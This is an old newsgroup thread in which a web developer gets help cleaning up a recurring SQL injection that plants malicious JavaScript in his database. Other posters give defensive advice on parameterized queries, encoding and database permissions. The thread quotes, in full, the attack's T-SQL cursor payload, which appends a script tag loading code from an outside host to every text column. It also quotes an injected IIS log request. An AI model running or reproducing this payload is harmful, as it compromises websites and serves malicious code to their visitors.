Help - Can't get rid of the malicious Code

[morebeer]

I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!

 

[Bob Barrows [MVP]]

I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!

It sounds as if you have left at least one door open.
You said you checked your stored procedures ... unless you are executing
dynamic sql statements in your procedures, the procedures are not the
problem. The problem may be the method you are using to call those stored
procedures.

Are you using dynamic sql to call them?
Bad:
cn.execute "yourprocedure '" & querystring_value & "'"

Or are you using parameters to pass your data values?
Good:
http://groups.google.com/group/microsoft.public.inetserver.asp.general/msg/5d3c9d4409dc1701?hl=en

Are you validating data before passing it to the stored procedures? At least
check it for malicious code before passing it to the procedures.

Are you encoding (Server.HTMLEncode) all data you retrieve from your
database before writing it to Response?

Frankly, all this advice is generic and can be found in every thread dealing
with this attack that has been posted in the past few weeks. Browse through
them and read what I have forgotten to mention in this post.

 

[Old Pedant]

You said you checked your stored procedures ... unless you are executing
dynamic sql statements in your procedures, the procedures are not the
problem.

Depends on what the symptoms are. If it's just that some of his records
contain JavaScript that, when displayed back on a page later, causes problems
for his users, then of course the SQL SP won't do a thing for him. It will
happily store HTML with JavaScript in a DB field if the field is large enough.

Are you validating data before passing it to the stored procedures? At least
check it for malicious code before passing it to the procedures.

So assuming no SP problems, per se, this is the likely answer. And this one
hasn't really been answered too much in the postings I have seen. Some
people *WANT* to allow HTML in their form fields, so the check for malicious
code is more difficult.

It's easy enough to construct a RegExp that will strip out all
<script>...</script> content. But what do you do about something such as
<img src="xyz.jpg" onLoad="...a lot of JS code that performs some vicious
stuff...">
??? (Assuming you *wanted* to allow the <img> tags.)

The answer is surely still "RegExp", but now you probably need/want many
RegExp's and they are much more complex.

Probably the right answer is something like many forums use, where you can't
use HTML tags but instead must use the very limited set of forum tags (e.g.,
in place of <b> and [img="...url..."] in place of <img>, etc.) that they
provide. Non of which will produce JavaScript in the result when displayed.

 

[morebeer]

Look in your infected database for users with db_owner role. Take it away
and assign db_datareader and/or individual object (table/view/procedure)
rights.

One of those users is being used in your connection string.

--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner, db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..

 

[Bob Barrows [MVP]]

Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner,

Why? Does your application need to perform actions that require db_owner
permissions? I would never assign that role to an account being used in an
application. You need to read the security section in BOL (SQL Books
Online).

db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..

Why? Did the attack occur again? If so, then it is likely that your code has
more than one "injection leak".
Have you looked at your IIS logs to see if it contains entries similar to
what a poster in one of the earlier threads reported? Like this:
2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

 

[morebeer]

Why? Does your application need to perform actions that require db_owner
permissions? I would never assign that role to an account being used in an
application. You need to read the security section in BOL (SQL Books
Online).


Why? Did the attack occur again? If so, then it is likely that your code has
more than one "injection leak".
Have you looked at your IIS logs to see if it contains entries similar to
what a poster in one of the earlier threads reported? Like this:
2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manu­f=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"- Zitierten Text ausblenden -

- Zitierten Text anzeigen -

Dear Bob, thx for your reply. I certainly checked all httplogs for the
malicious code and certainly did not find anything.However, if the
codes is sent via POST, it is not logged in httplogs.
Additionally, .NET's validateRequest does not allow passing tags
neither via GET nor by POST. I will pickup your recommendation
regarding db_owner permissions and try out. Maybe someone got an idea
how to check the system's SP for any manipulation (at least no new SP
has been created sonce DB server setup, but I can't check for change
date)..

 

[morebeer]

Dear Bob,

Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted" and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?

Referring to the SP changedate, the DB runs on SQL Server 2000.That's
probably the reason why the 2 selects on sysobjects don't work...

 

[morebeer]

bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.j8j8hei.cn/k.js></script>''')FETCH NEXT FROM
Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

[Bob Barrows [MVP]]

Dear Bob,

Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted"

Where did you see a "SELECT(@S)" statement?

and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?

Referring to the SP changedate, the DB runs on SQL Server 2000.That's
probably the reason why the 2 selects on sysobjects don't work...

I don't have time to go digging into BOL right now, but there is
definitely a way to get similar information from SQL 2000. If you can't
find it in BOL yourself, I suggest posting to a sqlserver group (IIRC it
involved querying syscomments ... or maybe one of the INFORMATION_SCHEMA
views)

 

[Bob Barrows [MVP]]

bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

You're saying the sql statement is being inserted into your database
tables?

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.j8j8hei.cn/k.js></script>''')FETCH NEXT FROM
Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Well then, you are having the same problem as everyone else and you have
not closed the sql injection holes. Please scrutinize your code for any
instances where you are concatenating strings together into sql
statements and replace them with parameterized statements.

In the meantime, you might want to put some constraints on the database
character columns to prevent the insertion of this malicious code

 

[morebeer]

Ok, final status update... We finally got rid of that f**** virus. We
were wondering how our websites still got infected althuogh we already
had installed proper request variable checks. The reason finally was
the errorlog class itself; whenever malicious code was posted, the
error class logged the malicious code and so it spreaded again thru
our database. This may help others who also wonder how injection is
till possible although request vars properly validated.

 

[Bob Barrows [MVP]]

Ok, final status update... We finally got rid of that f**** virus. We
were wondering how our websites still got infected althuogh we already
had installed proper request variable checks. The reason finally was
the errorlog class itself; whenever malicious code was posted, the
error class logged the malicious code and so it spreaded again thru
our database. This may help others who also wonder how injection is
till possible although request vars properly validated.

Thanks for the update. Hopefully it will help someone.